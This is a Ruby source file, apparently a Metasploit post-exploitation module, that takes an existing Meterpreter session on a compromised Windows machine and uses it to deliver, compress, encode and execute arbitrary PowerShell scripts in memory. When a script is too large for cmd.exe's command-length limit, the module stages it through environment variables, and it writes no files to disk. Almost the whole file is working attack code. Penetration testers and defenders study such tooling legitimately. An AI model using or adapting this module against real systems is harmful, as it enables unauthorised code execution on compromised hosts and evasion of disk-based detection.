Martin Sutovsky
119 lines
4.0 KiB
Ruby
119 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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##
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# Original script comments by nick[at]executionflow.org:
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# Meterpreter script to deliver and execute powershell scripts using
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# a compression/encoding method based on the powershell PoC code
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# from rel1k and winfang98 at DEF CON 18. This script furthers the
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# idea by bypassing Windows' command character lmits, allowing the
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# execution of very large scripts. No files are ever written to disk.
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##
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require 'zlib' # TODO: check if this can be done with REX
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Powershell
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Manage PowerShell Download and/or Execute',
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'Description' => %q{
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This module will download and execute a PowerShell script over a meterpreter session.
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The user may also enter text substitutions to be made in memory before execution.
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Setting VERBOSE to true will output both the script prior to execution and the results.
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},
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'License' => MSF_LICENSE,
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter'],
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'Author' => [
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'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
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'RageLtMan <rageltman[at]sempervictus>' # post module
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],
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'Compat' => {
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'Meterpreter' => {
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'Commands' => %w[
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stdapi_sys_config_sysinfo
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]
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}
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
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]
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)
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register_advanced_options(
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[
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OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
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OptBool.new('DELETE', [false, 'Delete file after execution', false ]),
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OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ])
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]
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)
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end
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def run
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fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
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fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?
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# End of file marker
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eof = Rex::Text.rand_text_alpha(8)
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env_suffix = Rex::Text.rand_text_alpha(8)
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# check/set vars
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subs = process_subs(datastore['SUBSTITUTIONS'])
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script_in = read_script(datastore['SCRIPT'])
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print_status(script_in)
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# Make substitutions in script if needed
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script_in = make_subs(script_in, subs) unless subs.empty?
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# Compress
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print_status('Compressing script contents.')
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compressed_script = compress_script(script_in, eof)
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if datastore['DRY_RUN']
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print_good("powershell -EncodedCommand #{compressed_script}")
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return
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end
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# If the compressed size is > 8100 bytes, launch stager
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if (compressed_script.size > 8100)
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print_error("Compressed size: #{compressed_script.size}")
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error_msg = 'Compressed size may cause command to exceed '
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error_msg += "cmd.exe's 8kB character limit."
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print_error(error_msg)
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print_status('Launching stager:')
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script = stage_to_env(compressed_script, env_suffix)
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print_good('Payload successfully staged.')
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else
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print_good("Compressed size: #{compressed_script.size}")
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script = compressed_script
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end
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# Execute the powershell script
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print_status('Executing the script.')
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cmd_out = psh_exec(script)
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if cmd_out.nil?
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error_msg = "Powershell command returned a nil value; this could be because the command timed out.\n"
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error_msg << 'You may want to increase the Powershell::Post::timeout value and try again.'
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print_warning(error_msg)
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end
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print_status(cmd_out.to_s)
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# That's it
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print_good('Finished!')
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end
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end
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